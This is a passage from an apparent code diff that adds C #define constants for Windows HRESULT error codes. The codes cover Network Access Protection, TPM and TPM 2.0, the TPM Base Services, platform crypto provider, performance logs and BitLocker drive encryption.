NAP_E_INVALID_PACKET -2144927743 +#define NAP_E_MISSING_SOH -2144927742 +#define NAP_E_CONFLICTING_ID -2144927741 +#define NAP_E_NO_CACHED_SOH -2144927740 +#define NAP_E_STILL_BOUND -2144927739 +#define NAP_E_NOT_REGISTERED -2144927738 +#define NAP_E_NOT_INITIALIZED -2144927737 +#define NAP_E_MISMATCHED_ID -2144927736 +#define NAP_E_NOT_PENDING -2144927735 +#define NAP_E_ID_NOT_FOUND -2144927734 +#define NAP_E_MAXSIZE_TOO_SMALL -2144927733 +#define NAP_E_SERVICE_NOT_RUNNING -2144927732 +#define NAP_S_CERT_ALREADY_PRESENT 2555917 +#define NAP_E_ENTITY_DISABLED -2144927730 +#define NAP_E_NETSH_GROUPPOLICY_ERROR -2144927729 +#define NAP_E_TOO_MANY_CALLS -2144927728 +#define NAP_E_SHV_CONFIG_EXISTED -2144927727 +#define NAP_E_SHV_CONFIG_NOT_FOUND -2144927726 +#define NAP_E_SHV_TIMEOUT -2144927725 +#define TPM_E_ERROR_MASK -2144862208 +#define TPM_E_AUTHFAIL -2144862207 +#define TPM_E_BADINDEX -2144862206 +#define TPM_E_BAD_PARAMETER -2144862205 +#define TPM_E_AUDITFAILURE -2144862204 +#define TPM_E_CLEAR_DISABLED -2144862203 +#define TPM_E_DEACTIVATED -2144862202 +#define TPM_E_DISABLED -2144862201 +#define TPM_E_DISABLED_CMD -2144862200 +#define TPM_E_FAIL -2144862199 +#define TPM_E_BAD_ORDINAL -2144862198 +#define TPM_E_INSTALL_DISABLED -2144862197 +#define TPM_E_INVALID_KEYHANDLE -2144862196 +#define TPM_E_KEYNOTFOUND -2144862195 +#define TPM_E_INAPPROPRIATE_ENC -2144862194 +#define TPM_E_MIGRATEFAIL -2144862193 +#define TPM_E_INVALID_PCR_INFO -2144862192 +#define TPM_E_NOSPACE -2144862191 +#define TPM_E_NOSRK -2144862190 +#define TPM_E_NOTSEALED_BLOB -2144862189 +#define TPM_E_OWNER_SET -2144862188 +#define TPM_E_RESOURCES -2144862187 +#define TPM_E_SHORTRANDOM -2144862186 +#define TPM_E_SIZE -2144862185 +#define TPM_E_WRONGPCRVAL -2144862184 +#define TPM_E_BAD_PARAM_SIZE -2144862183 +#define TPM_E_SHA_THREAD -2144862182 +#define TPM_E_SHA_ERROR -2144862181 +#define TPM_E_FAILEDSELFTEST -2144862180 +#define TPM_E_AUTH2FAIL -2144862179 +#define TPM_E_BADTAG -2144862178 +#define TPM_E_IOERROR -2144862177 +#define TPM_E_ENCRYPT_ERROR -2144862176 +#define TPM_E_DECRYPT_ERROR -2144862175 +#define TPM_E_INVALID_AUTHHANDLE -2144862174 +#define TPM_E_NO_ENDORSEMENT -2144862173 +#define TPM_E_INVALID_KEYUSAGE -2144862172 +#define TPM_E_WRONG_ENTITYTYPE -2144862171 +#define TPM_E_INVALID_POSTINIT -2144862170 +#define TPM_E_INAPPROPRIATE_SIG -2144862169 +#define TPM_E_BAD_KEY_PROPERTY -2144862168 +#define TPM_E_BAD_MIGRATION -2144862167 +#define TPM_E_BAD_SCHEME -2144862166 +#define TPM_E_BAD_DATASIZE -2144862165 +#define TPM_E_BAD_MODE -2144862164 +#define TPM_E_BAD_PRESENCE -2144862163 +#define TPM_E_BAD_VERSION -2144862162 +#define TPM_E_NO_WRAP_TRANSPORT -2144862161 +#define TPM_E_AUDITFAIL_UNSUCCESSFUL -2144862160 +#define TPM_E_AUDITFAIL_SUCCESSFUL -2144862159 +#define TPM_E_NOTRESETABLE -2144862158 +#define TPM_E_NOTLOCAL -2144862157 +#define TPM_E_BAD_TYPE -2144862156 +#define TPM_E_INVALID_RESOURCE -2144862155 +#define TPM_E_NOTFIPS -2144862154 +#define TPM_E_INVALID_FAMILY -2144862153 +#define TPM_E_NO_NV_PERMISSION -2144862152 +#define TPM_E_REQUIRES_SIGN -2144862151 +#define TPM_E_KEY_NOTSUPPORTED -2144862150 +#define TPM_E_AUTH_CONFLICT -2144862149 +#define TPM_E_AREA_LOCKED -2144862148 +#define TPM_E_BAD_LOCALITY -2144862147 +#define TPM_E_READ_ONLY -2144862146 +#define TPM_E_PER_NOWRITE -2144862145 +#define TPM_E_FAMILYCOUNT -2144862144 +#define TPM_E_WRITE_LOCKED -2144862143 +#define TPM_E_BAD_ATTRIBUTES -2144862142 +#define TPM_E_INVALID_STRUCTURE -2144862141 +#define TPM_E_KEY_OWNER_CONTROL -2144862140 +#define TPM_E_BAD_COUNTER -2144862139 +#define TPM_E_NOT_FULLWRITE -2144862138 +#define TPM_E_CONTEXT_GAP -2144862137 +#define TPM_E_MAXNVWRITES -2144862136 +#define TPM_E_NOOPERATOR -2144862135 +#define TPM_E_RESOURCEMISSING -2144862134 +#define TPM_E_DELEGATE_LOCK -2144862133 +#define TPM_E_DELEGATE_FAMILY -2144862132 +#define TPM_E_DELEGATE_ADMIN -2144862131 +#define TPM_E_TRANSPORT_NOTEXCLUSIVE -2144862130 +#define TPM_E_OWNER_CONTROL -2144862129 +#define TPM_E_DAA_RESOURCES -2144862128 +#define TPM_E_DAA_INPUT_DATA0 -2144862127 +#define TPM_E_DAA_INPUT_DATA1 -2144862126 +#define TPM_E_DAA_ISSUER_SETTINGS -2144862125 +#define TPM_E_DAA_TPM_SETTINGS -2144862124 +#define TPM_E_DAA_STAGE -2144862123 +#define TPM_E_DAA_ISSUER_VALIDITY -2144862122 +#define TPM_E_DAA_WRONG_W -2144862121 +#define TPM_E_BAD_HANDLE -2144862120 +#define TPM_E_BAD_DELEGATE -2144862119 +#define TPM_E_BADCONTEXT -2144862118 +#define TPM_E_TOOMANYCONTEXTS -2144862117 +#define TPM_E_MA_TICKET_SIGNATURE -2144862116 +#define TPM_E_MA_DESTINATION -2144862115 +#define TPM_E_MA_SOURCE -2144862114 +#define TPM_E_MA_AUTHORITY -2144862113 +#define TPM_E_PERMANENTEK -2144862111 +#define TPM_E_BAD_SIGNATURE -2144862110 +#define TPM_E_NOCONTEXTSPACE -2144862109 +#define TPM_20_E_ASYMMETRIC -2144862079 +#define TPM_20_E_ATTRIBUTES -2144862078 +#define TPM_20_E_HASH -2144862077 +#define TPM_20_E_VALUE -2144862076 +#define TPM_20_E_HIERARCHY -2144862075 +#define TPM_20_E_KEY_SIZE -2144862073 +#define TPM_20_E_MGF -2144862072 +#define TPM_20_E_MODE -2144862071 +#define TPM_20_E_TYPE -2144862070 +#define TPM_20_E_HANDLE -2144862069 +#define TPM_20_E_KDF -2144862068 +#define TPM_20_E_RANGE -2144862067 +#define TPM_20_E_AUTH_FAIL -2144862066 +#define TPM_20_E_NONCE -2144862065 +#define TPM_20_E_PP -2144862064 +#define TPM_20_E_SCHEME -2144862062 +#define TPM_20_E_SIZE -2144862059 +#define TPM_20_E_SYMMETRIC -2144862058 +#define TPM_20_E_TAG -2144862057 +#define TPM_20_E_SELECTOR -2144862056 +#define TPM_20_E_INSUFFICIENT -2144862054 +#define TPM_20_E_SIGNATURE -2144862053 +#define TPM_20_E_KEY -2144862052 +#define TPM_20_E_POLICY_FAIL -2144862051 +#define TPM_20_E_INTEGRITY -2144862049 +#define TPM_20_E_TICKET -2144862048 +#define TPM_20_E_RESERVED_BITS -2144862047 +#define TPM_20_E_BAD_AUTH -2144862046 +#define TPM_20_E_EXPIRED -2144862045 +#define TPM_20_E_POLICY_CC -2144862044 +#define TPM_20_E_BINDING -2144862043 +#define TPM_20_E_CURVE -2144862042 +#define TPM_20_E_ECC_POINT -2144862041 +#define TPM_20_E_INITIALIZE -2144861952 +#define TPM_20_E_FAILURE -2144861951 +#define TPM_20_E_SEQUENCE -2144861949 +#define TPM_20_E_PRIVATE -2144861941 +#define TPM_20_E_HMAC -2144861927 +#define TPM_20_E_DISABLED -2144861920 +#define TPM_20_E_EXCLUSIVE -2144861919 +#define TPM_20_E_ECC_CURVE -2144861917 +#define TPM_20_E_AUTH_TYPE -2144861916 +#define TPM_20_E_AUTH_MISSING -2144861915 +#define TPM_20_E_POLICY -2144861914 +#define TPM_20_E_PCR -2144861913 +#define TPM_20_E_PCR_CHANGED -2144861912 +#define TPM_20_E_UPGRADE -2144861907 +#define TPM_20_E_TOO_MANY_CONTEXTS -2144861906 +#define TPM_20_E_AUTH_UNAVAILABLE -2144861905 +#define TPM_20_E_REBOOT -2144861904 +#define TPM_20_E_UNBALANCED -2144861903 +#define TPM_20_E_COMMAND_SIZE -2144861886 +#define TPM_20_E_COMMAND_CODE -2144861885 +#define TPM_20_E_AUTHSIZE -2144861884 +#define TPM_20_E_AUTH_CONTEXT -2144861883 +#define TPM_20_E_NV_RANGE -2144861882 +#define TPM_20_E_NV_SIZE -2144861881 +#define TPM_20_E_NV_LOCKED -2144861880 +#define TPM_20_E_NV_AUTHORIZATION -2144861879 +#define TPM_20_E_NV_UNINITIALIZED -2144861878 +#define TPM_20_E_NV_SPACE -2144861877 +#define TPM_20_E_NV_DEFINED -2144861876 +#define TPM_20_E_BAD_CONTEXT -2144861872 +#define TPM_20_E_CPHASH -2144861871 +#define TPM_20_E_PARENT -2144861870 +#define TPM_20_E_NEEDS_TEST -2144861869 +#define TPM_20_E_NO_RESULT -2144861868 +#define TPM_20_E_SENSITIVE -2144861867 +#define TPM_E_COMMAND_BLOCKED -2144861184 +#define TPM_E_INVALID_HANDLE -2144861183 +#define TPM_E_DUPLICATE_VHANDLE -2144861182 +#define TPM_E_EMBEDDED_COMMAND_BLOCKED -2144861181 +#define TPM_E_EMBEDDED_COMMAND_UNSUPPORTED -2144861180 +#define TPM_E_RETRY -2144860160 +#define TPM_E_NEEDS_SELFTEST -2144860159 +#define TPM_E_DOING_SELFTEST -2144860158 +#define TPM_E_DEFEND_LOCK_RUNNING -2144860157 +#define TPM_20_E_CONTEXT_GAP -2144859903 +#define TPM_20_E_OBJECT_MEMORY -2144859902 +#define TPM_20_E_SESSION_MEMORY -2144859901 +#define TPM_20_E_MEMORY -2144859900 +#define TPM_20_E_SESSION_HANDLES -2144859899 +#define TPM_20_E_OBJECT_HANDLES -2144859898 +#define TPM_20_E_LOCALITY -2144859897 +#define TPM_20_E_YIELDED -2144859896 +#define TPM_20_E_CANCELED -2144859895 +#define TPM_20_E_TESTING -2144859894 +#define TPM_20_E_NV_RATE -2144859872 +#define TPM_20_E_LOCKOUT -2144859871 +#define TPM_20_E_RETRY -2144859870 +#define TPM_20_E_NV_UNAVAILABLE -2144859869 +#define TBS_E_INTERNAL_ERROR -2144845823 +#define TBS_E_BAD_PARAMETER -2144845822 +#define TBS_E_INVALID_OUTPUT_POINTER -2144845821 +#define TBS_E_INVALID_CONTEXT -2144845820 +#define TBS_E_INSUFFICIENT_BUFFER -2144845819 +#define TBS_E_IOERROR -2144845818 +#define TBS_E_INVALID_CONTEXT_PARAM -2144845817 +#define TBS_E_SERVICE_NOT_RUNNING -2144845816 +#define TBS_E_TOO_MANY_TBS_CONTEXTS -2144845815 +#define TBS_E_TOO_MANY_RESOURCES -2144845814 +#define TBS_E_SERVICE_START_PENDING -2144845813 +#define TBS_E_PPI_NOT_SUPPORTED -2144845812 +#define TBS_E_COMMAND_CANCELED -2144845811 +#define TBS_E_BUFFER_TOO_LARGE -2144845810 +#define TBS_E_TPM_NOT_FOUND -2144845809 +#define TBS_E_SERVICE_DISABLED -2144845808 +#define TBS_E_NO_EVENT_LOG -2144845807 +#define TBS_E_ACCESS_DENIED -2144845806 +#define TBS_E_PROVISIONING_NOT_ALLOWED -2144845805 +#define TBS_E_PPI_FUNCTION_UNSUPPORTED -2144845804 +#define TBS_E_OWNERAUTH_NOT_FOUND -2144845803 +#define TBS_E_PROVISIONING_INCOMPLETE -2144845802 +#define TBS_E_TPM_IN_EXCLUSIVE_MODE -2144845801 +#define TBS_E_TPM_REBOOT_REQUIRED -2144845800 +#define TPMAPI_E_INVALID_STATE -2144796416 +#define TPMAPI_E_NOT_ENOUGH_DATA -2144796415 +#define TPMAPI_E_TOO_MUCH_DATA -2144796414 +#define TPMAPI_E_INVALID_OUTPUT_POINTER -2144796413 +#define TPMAPI_E_INVALID_PARAMETER -2144796412 +#define TPMAPI_E_OUT_OF_MEMORY -2144796411 +#define TPMAPI_E_BUFFER_TOO_SMALL -2144796410 +#define TPMAPI_E_INTERNAL_ERROR -2144796409 +#define TPMAPI_E_ACCESS_DENIED -2144796408 +#define TPMAPI_E_AUTHORIZATION_FAILED -2144796407 +#define TPMAPI_E_INVALID_CONTEXT_HANDLE -2144796406 +#define TPMAPI_E_TBS_COMMUNICATION_ERROR -2144796405 +#define TPMAPI_E_TPM_COMMAND_ERROR -2144796404 +#define TPMAPI_E_MESSAGE_TOO_LARGE -2144796403 +#define TPMAPI_E_INVALID_ENCODING -2144796402 +#define TPMAPI_E_INVALID_KEY_SIZE -2144796401 +#define TPMAPI_E_ENCRYPTION_FAILED -2144796400 +#define TPMAPI_E_INVALID_KEY_PARAMS -2144796399 +#define TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB -2144796398 +#define TPMAPI_E_INVALID_PCR_INDEX -2144796397 +#define TPMAPI_E_INVALID_DELEGATE_BLOB -2144796396 +#define TPMAPI_E_INVALID_CONTEXT_PARAMS -2144796395 +#define TPMAPI_E_INVALID_KEY_BLOB -2144796394 +#define TPMAPI_E_INVALID_PCR_DATA -2144796393 +#define TPMAPI_E_INVALID_OWNER_AUTH -2144796392 +#define TPMAPI_E_FIPS_RNG_CHECK_FAILED -2144796391 +#define TPMAPI_E_EMPTY_TCG_LOG -2144796390 +#define TPMAPI_E_INVALID_TCG_LOG_ENTRY -2144796389 +#define TPMAPI_E_TCG_SEPARATOR_ABSENT -2144796388 +#define TPMAPI_E_TCG_INVALID_DIGEST_ENTRY -2144796387 +#define TPMAPI_E_POLICY_DENIES_OPERATION -2144796386 +#define TPMAPI_E_NV_BITS_NOT_DEFINED -2144796385 +#define TPMAPI_E_NV_BITS_NOT_READY -2144796384 +#define TPMAPI_E_SEALING_KEY_NOT_AVAILABLE -2144796383 +#define TPMAPI_E_NO_AUTHORIZATION_CHAIN_FOUND -2144796382 +#define TPMAPI_E_SVN_COUNTER_NOT_AVAILABLE -2144796381 +#define TPMAPI_E_OWNER_AUTH_NOT_NULL -2144796380 +#define TPMAPI_E_ENDORSEMENT_AUTH_NOT_NULL -2144796379 +#define TPMAPI_E_AUTHORIZATION_REVOKED -2144796378 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_KEY -2144796377 +#define TPMAPI_E_AUTHORIZING_KEY_NOT_SUPPORTED -2144796376 +#define TPMAPI_E_INVALID_AUTHORIZATION_SIGNATURE -2144796375 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_POLICY -2144796374 +#define TPMAPI_E_MALFORMED_AUTHORIZATION_OTHER -2144796373 +#define TPMAPI_E_SEALING_KEY_CHANGED -2144796372 +#define TPMAPI_E_INVALID_TPM_VERSION -2144796371 +#define TPMAPI_E_INVALID_POLICYAUTH_BLOB_TYPE -2144796370 +#define TPMAPI_E_INVALID_TAG -2144796368 +#define TPMAPI_E_INVALID_STRUCT_SIZE -2144796367 +#define TPMAPI_E_AUTH_CHAIN_ERROR -2144796366 +#define TPMAPI_E_COUNTER_CORRUPTED -2144796365 +#define TPMAPI_E_INVALID_ALGORITHM -2144796364 +#define TBSIMP_E_BUFFER_TOO_SMALL -2144796160 +#define TBSIMP_E_CLEANUP_FAILED -2144796159 +#define TBSIMP_E_INVALID_CONTEXT_HANDLE -2144796158 +#define TBSIMP_E_INVALID_CONTEXT_PARAM -2144796157 +#define TBSIMP_E_TPM_ERROR -2144796156 +#define TBSIMP_E_HASH_BAD_KEY -2144796155 +#define TBSIMP_E_DUPLICATE_VHANDLE -2144796154 +#define TBSIMP_E_INVALID_OUTPUT_POINTER -2144796153 +#define TBSIMP_E_INVALID_PARAMETER -2144796152 +#define TBSIMP_E_RPC_INIT_FAILED -2144796151 +#define TBSIMP_E_SCHEDULER_NOT_RUNNING -2144796150 +#define TBSIMP_E_COMMAND_CANCELED -2144796149 +#define TBSIMP_E_OUT_OF_MEMORY -2144796148 +#define TBSIMP_E_LIST_NO_MORE_ITEMS -2144796147 +#define TBSIMP_E_LIST_NOT_FOUND -2144796146 +#define TBSIMP_E_NOT_ENOUGH_SPACE -2144796145 +#define TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS -2144796144 +#define TBSIMP_E_COMMAND_FAILED -2144796143 +#define TBSIMP_E_UNKNOWN_ORDINAL -2144796142 +#define TBSIMP_E_RESOURCE_EXPIRED -2144796141 +#define TBSIMP_E_INVALID_RESOURCE -2144796140 +#define TBSIMP_E_NOTHING_TO_UNLOAD -2144796139 +#define TBSIMP_E_HASH_TABLE_FULL -2144796138 +#define TBSIMP_E_TOO_MANY_TBS_CONTEXTS -2144796137 +#define TBSIMP_E_TOO_MANY_RESOURCES -2144796136 +#define TBSIMP_E_PPI_NOT_SUPPORTED -2144796135 +#define TBSIMP_E_TPM_INCOMPATIBLE -2144796134 +#define TBSIMP_E_NO_EVENT_LOG -2144796133 +#define TPM_E_PPI_ACPI_FAILURE -2144795904 +#define TPM_E_PPI_USER_ABORT -2144795903 +#define TPM_E_PPI_BIOS_FAILURE -2144795902 +#define TPM_E_PPI_NOT_SUPPORTED -2144795901 +#define TPM_E_PPI_BLOCKED_IN_BIOS -2144795900 +#define TPM_E_PCP_ERROR_MASK -2144795648 +#define TPM_E_PCP_DEVICE_NOT_READY -2144795647 +#define TPM_E_PCP_INVALID_HANDLE -2144795646 +#define TPM_E_PCP_INVALID_PARAMETER -2144795645 +#define TPM_E_PCP_FLAG_NOT_SUPPORTED -2144795644 +#define TPM_E_PCP_NOT_SUPPORTED -2144795643 +#define TPM_E_PCP_BUFFER_TOO_SMALL -2144795642 +#define TPM_E_PCP_INTERNAL_ERROR -2144795641 +#define TPM_E_PCP_AUTHENTICATION_FAILED -2144795640 +#define TPM_E_PCP_AUTHENTICATION_IGNORED -2144795639 +#define TPM_E_PCP_POLICY_NOT_FOUND -2144795638 +#define TPM_E_PCP_PROFILE_NOT_FOUND -2144795637 +#define TPM_E_PCP_VALIDATION_FAILED -2144795636 +#define TPM_E_PCP_WRONG_PARENT -2144795634 +#define TPM_E_KEY_NOT_LOADED -2144795633 +#define TPM_E_NO_KEY_CERTIFICATION -2144795632 +#define TPM_E_KEY_NOT_FINALIZED -2144795631 +#define TPM_E_ATTESTATION_CHALLENGE_NOT_SET -2144795630 +#define TPM_E_NOT_PCR_BOUND -2144795629 +#define TPM_E_KEY_ALREADY_FINALIZED -2144795628 +#define TPM_E_KEY_USAGE_POLICY_NOT_SUPPORTED -2144795627 +#define TPM_E_KEY_USAGE_POLICY_INVALID -2144795626 +#define TPM_E_SOFT_KEY_ERROR -2144795625 +#define TPM_E_KEY_NOT_AUTHENTICATED -2144795624 +#define TPM_E_PCP_KEY_NOT_AIK -2144795623 +#define TPM_E_KEY_NOT_SIGNING_KEY -2144795622 +#define TPM_E_LOCKED_OUT -2144795621 +#define TPM_E_CLAIM_TYPE_NOT_SUPPORTED -2144795620 +#define TPM_E_VERSION_NOT_SUPPORTED -2144795619 +#define TPM_E_BUFFER_LENGTH_MISMATCH -2144795618 +#define TPM_E_PCP_IFX_RSA_KEY_CREATION_BLOCKED -2144795617 +#define TPM_E_PCP_TICKET_MISSING -2144795616 +#define TPM_E_PCP_RAW_POLICY_NOT_SUPPORTED -2144795615 +#define TPM_E_PCP_KEY_HANDLE_INVALIDATED -2144795614 +#define TPM_E_PCP_UNSUPPORTED_PSS_SALT 1076429859 +#define TPM_E_PCP_PLATFORM_CLAIM_MAY_BE_OUTDATED 1076429860 +#define TPM_E_PCP_PLATFORM_CLAIM_OUTDATED 1076429861 +#define TPM_E_PCP_PLATFORM_CLAIM_REBOOT 1076429862 +#define TPM_E_ZERO_EXHAUST_ENABLED -2144795392 +#define DRTM_E_ENVIRONMENT_UNSAFE -2144795391 +#define DRTM_E_NO_DIRECT_AUTH_FOR_CURRENT_MLE -2144795390 +#define TPM_E_PROVISIONING_INCOMPLETE -2144795136 +#define TPM_E_INVALID_OWNER_AUTH -2144795135 +#define TPM_E_TOO_MUCH_DATA -2144795134 +#define TPM_E_TPM_GENERATED_EPS -2144795133 +#define PLA_E_DCS_NOT_FOUND -2144337918 +#define PLA_E_DCS_IN_USE -2144337750 +#define PLA_E_TOO_MANY_FOLDERS -2144337851 +#define PLA_E_NO_MIN_DISK -2144337808 +#define PLA_E_DCS_ALREADY_EXISTS -2144337737 +#define PLA_S_PROPERTY_IGNORED 3145984 +#define PLA_E_PROPERTY_CONFLICT -2144337663 +#define PLA_E_DCS_SINGLETON_REQUIRED -2144337662 +#define PLA_E_CREDENTIALS_REQUIRED -2144337661 +#define PLA_E_DCS_NOT_RUNNING -2144337660 +#define PLA_E_CONFLICT_INCL_EXCL_API -2144337659 +#define PLA_E_NETWORK_EXE_NOT_VALID -2144337658 +#define PLA_E_EXE_ALREADY_CONFIGURED -2144337657 +#define PLA_E_EXE_PATH_NOT_VALID -2144337656 +#define PLA_E_DC_ALREADY_EXISTS -2144337655 +#define PLA_E_DCS_START_WAIT_TIMEOUT -2144337654 +#define PLA_E_DC_START_WAIT_TIMEOUT -2144337653 +#define PLA_E_REPORT_WAIT_TIMEOUT -2144337652 +#define PLA_E_NO_DUPLICATES -2144337651 +#define PLA_E_EXE_FULL_PATH_REQUIRED -2144337650 +#define PLA_E_INVALID_SESSION_NAME -2144337649 +#define PLA_E_PLA_CHANNEL_NOT_ENABLED -2144337648 +#define PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED -2144337647 +#define PLA_E_RULES_MANAGER_FAILED -2144337646 +#define PLA_E_CABAPI_FAILURE -2144337645 +#define FVE_E_LOCKED_VOLUME -2144272384 +#define FVE_E_NOT_ENCRYPTED -2144272383 +#define FVE_E_NO_TPM_BIOS -2144272382 +#define FVE_E_NO_MBR_METRIC -2144272381 +#define FVE_E_NO_BOOTSECTOR_METRIC -2144272380 +#define FVE_E_NO_BOOTMGR_METRIC -2144272379 +#define FVE_E_WRONG_BOOTMGR -2144272378 +#define FVE_E_SECURE_KEY_REQUIRED -2144272377 +#define FVE_E_NOT_ACTIVATED -2144272376 +#define FVE_E_ACTION_NOT_ALLOWED -2144272375 +#define FVE_E_AD_SCHEMA_NOT_INSTALLED -2144272374 +#define FVE_E_AD_INVALID_DATATYPE -2144272373 +#define FVE_E_AD_INVALID_DATASIZE -2144272372 +#define FVE_E_AD_NO_VALUES -2144272371 +#define FVE_E_AD_ATTR_NOT_SET -2144272370 +#define FVE_E_AD_GUID_NOT_FOUND -2144272369 +#define FVE_E_BAD_INFORMATION -2144272368 +#define FVE_E_TOO_SMALL -2144272367 +#define FVE_E_SYSTEM_VOLUME -2144272366 +#define FVE_E_FAILED_WRONG_FS -2144272365 +#define FVE_E_BAD_PARTITION_SIZE -2144272364 +#define FVE_E_NOT_SUPPORTED -2144272363 +#define FVE_E_BAD_DATA -2144272362 +#define FVE_E_VOLUME_NOT_BOUND -2144272361 +#define FVE_E_TPM_NOT_OWNED -2144272360 +#define FVE_E_NOT_DATA_VOLUME -2144272359 +#define FVE_E_AD_INSUFFICIENT_BUFFER -2144272358 +#define FVE_E_CONV_READ -2144272357 +#define FVE_E_CONV_WRITE -2144272356 +#define FVE_E_KEY_REQUIRED -2144272355 +#define FVE_E_CLUSTERING_NOT_SUPPORTED -2144272354 +#define FVE_E_VOLUME_BOUND_ALREADY -2144272353 +#define FVE_E_OS_NOT_PROTECTED -2144272352 +#define FVE_E_PROTECTION_DISABLED -2144272351 +#define FVE_E_RECOVERY_KEY_REQUIRED -2144272350 +#define FVE_E_FOREIGN_VOLUME -2144272349 +#define FVE_E_OVERLAPPED_UPDATE -2144272348 +#define FVE_E_TPM_SRK_AUTH_NOT_ZERO -2144272347 +#define FVE_E_FAILED_SECTOR_SIZE -2144272346 +#define FVE_E_FAILED_AUTHENTICATION -2144272345 +#define FVE_E_NOT_OS_VOLUME -2144272344 +#define FVE_E_AUTOUNLOCK_ENABLED -2144272343 +#define FVE_E_WRONG_BOOTSECTOR -2144272342 +#define FVE_E_WRONG_SYSTEM_FS -2144272341 +#define FVE_E_POLICY_PASSWORD_REQUIRED -2144272340 +#define FVE_E_CANNOT_SET_FVEK_ENCRYPTED -2144272339 +#define FVE_E_CANNOT_ENCRYPT_NO_KEY -2144272338 +#define FVE_E_BOOTABLE_CDDVD -2144272336 +#define FVE_E_PROTECTOR_EXISTS -2144272335 +#define FVE_E_RELATIVE_PATH -2144272334 +#define FVE_E_PROTECTOR_NOT_FOUND -2144272333 +#define FVE_E_INVALID_KEY_FORMAT -2144272332 +#define FVE_E_INVALID_PASSWORD_FORMAT -2144272331 +#define FVE_E_FIPS_RNG_CHECK_FAILED -2144272330 +#define FVE_E_FIPS_PREVENTS_RECOVERY_PASSWORD -2144272329 +#define FVE_E_FIPS_PREVENTS_EXTERNAL_KEY_EXPORT -2144272328 +#define FVE_E_NOT_DECRYPTED -2144272327 +#define FVE_E_INVALID_PROTECTOR_TYPE -2144272326 +#define FVE_E_NO_PROTECTORS_TO_TEST -2144272325 +#define FVE_E_KEYFILE_NOT_FOUND -2144272324 +#define FVE_E_KEYFILE_INVALID -2144272323 +#define FVE_E_KEYFILE_NO_VMK -2144272322 +#define FVE_E_TPM_DISABLED -2144272321 +#define FVE_E_NOT_ALLOWED_IN_SAFE_MODE -2144272320 +#define FVE_E_TPM_INVALID_PCR -2144272319 +#define FVE_E_TPM_NO_VMK -2144272318 +#define FVE_E_PIN_INVALID -2144272317 +#define FVE_E_AUTH_INVALID_APPLICATION -2144272316 +#define FVE_E_AUTH_INVALID_CONFIG -2144272315 +#define FVE_E_FIPS_DISABLE_PROTECTION_NOT_ALLOWED -2144272314 +#define FVE_E_FS_NOT_EXTENDED -2144272313 +#define FVE_E_FIRMWARE_TYPE_NOT_SUPPORTED -2144272312 +#define FVE_E_NO_LICENSE -2144272311 +#define FVE_E_NOT_ON_STACK -2144272310 +#define FVE_E_FS_MOUNTED -2144272309 +#define FVE_E_TOKEN_NOT_IMPERSONATED -2144272308 +#define FVE_E_DRY_RUN_FAILED -2144272307 +#define FVE_E_REBOOT_REQUIRED -2144272306 +#define FVE_E_DEBUGGER_ENABLED -2144272305 +#define FVE_E_RAW_ACCESS -2144272304 +#define FVE_E_RAW_BLOCKED -2144272303 +#define FVE_E_BCD_APPLICATIONS_PATH_INCORRECT -2144272302 +#define FVE_E_NOT_ALLOWED_IN_VERSION -2144272301 +#define FVE_E_NO_AUTOUNLOCK_MASTER_KEY -2144272300 +#define FVE_E_MOR_FAILED -2144272299 +#define FVE_E_HIDDEN_VOLUME -2144272298 +#define FVE_E_TRANSIENT_STATE -2144272297 +#define FVE_E_PUBKEY_NOT_ALLOWED -2144272296 +#define FVE_E_VOLUME_HANDLE_OPEN -2144272295 +#define FVE_E_NO_FEATURE_LICENSE -2144272294 +#define FVE_E_INVALID_STARTUP_OPTIONS -2144272293 +#define FVE_E_POLICY_RECOVERY_PASSWORD_NOT_ALLOWED -2144272292 +#define FVE_E_POLICY_RECOVERY_PASSWORD_REQUIRED -2144272291 +#define FVE_E_POLICY_RECOVERY_KEY_NOT_ALLOWED -2144272290 +#define FVE_E_POLICY_RECOVERY_KEY_REQUIRED -2144272289 +#define FVE_E_POLICY_STARTUP_PIN_NOT_ALLOWED -2144272288 +#define FVE_E_POLICY_STARTUP_PIN_REQUIRED -2144272287 +#define FVE_E_POLICY_STARTUP_KEY_NOT_ALLOWED -2144272286 +#define FVE_E_POLICY_STARTUP_KEY_REQUIRED -2144272285 +#define FVE_E_POLICY_STARTUP_PIN_KEY_NOT_ALLOWED -2144272284 +#define FVE_E_POLICY_STARTUP_PIN_KEY_REQUIRED -2144272283 +#define FVE_E_POLICY_STARTUP_TPM_NOT_ALLOWED -2144272282 +#define FVE_E_POLICY_STARTUP_TPM_REQUIRED -2144272281 +#define FVE_E_POLICY_INVALID_PIN_LENGTH -2144272280 +#define FVE_E_KEY_PROTECTOR_NOT_SUPPORTED -2144272279 +#define FVE_E_POLICY_PASSPHRASE_NOT_ALLOWED -2144272278 +#define FVE_E_POLICY_PASSPHRASE_REQUIRED -2144272277 +#define FVE_E_FIPS_PREVENTS_PASSPHRASE -2144272276 +#define FVE_E_OS_VOLUME_PASSPHRASE_NOT_ALLOWED -2144272275 +#define FVE_E_INVALID_BITLOCKER_OID -2144272274 +#define FVE_E_VOLUME_TOO_SMALL -2144272273 +#define FVE_E_DV_NOT_SUPPORTED_ON_FS -2144272272 +#define FVE_E_DV_NOT_ALLOWED_BY_GP -2144272271 +#define FVE_E_POLICY_USER_CERTIFICATE_NOT_ALLOWED -2144272270 +#define FVE_E_POLICY_USER_CERTIFICATE_REQUIRED -2144272269 +#define FVE_E_POLICY_USER_CERT_MUST_BE_HW -2144272268 +#define FVE_E_POLICY_USER_CONFIGURE_FDV_AUTOUNLOCK_NOT_ALLOWED -2144272267 +#define FVE_E_POLICY_USER_CONFIGURE_RDV_AUTOUNLOCK_NOT_ALLOWED -2144272266 +#define FVE_E_POLICY_USER_CONFIGURE_RDV_NOT_ALLOWED -2144272265 +#define FVE_E_POLICY_USER_ENABLE_RDV_NOT_ALLOWED -2144272264 +#define FVE_E_POLICY_USER_DISABLE_RDV_NOT_ALLOWED -2144272263 +#define FVE_E_POLICY_INVALID_PASSPHRASE_LENGTH -2144272256 +#define FVE_E_POLICY_PASSPHRASE_TOO_SIMPLE -2144272255 +#define FVE_E_RECOVERY_PARTITION -2144272254 +#define FVE_E_POLICY_CONFLICT_FDV_RK_OFF_AUK_ON -2144272253 +#define FVE_E_POLICY_CONFLICT_RDV_RK_OFF_AUK_ON -2144272252 +#define FVE_E_NON_BITLOCKER_OID -2144272251 +#define 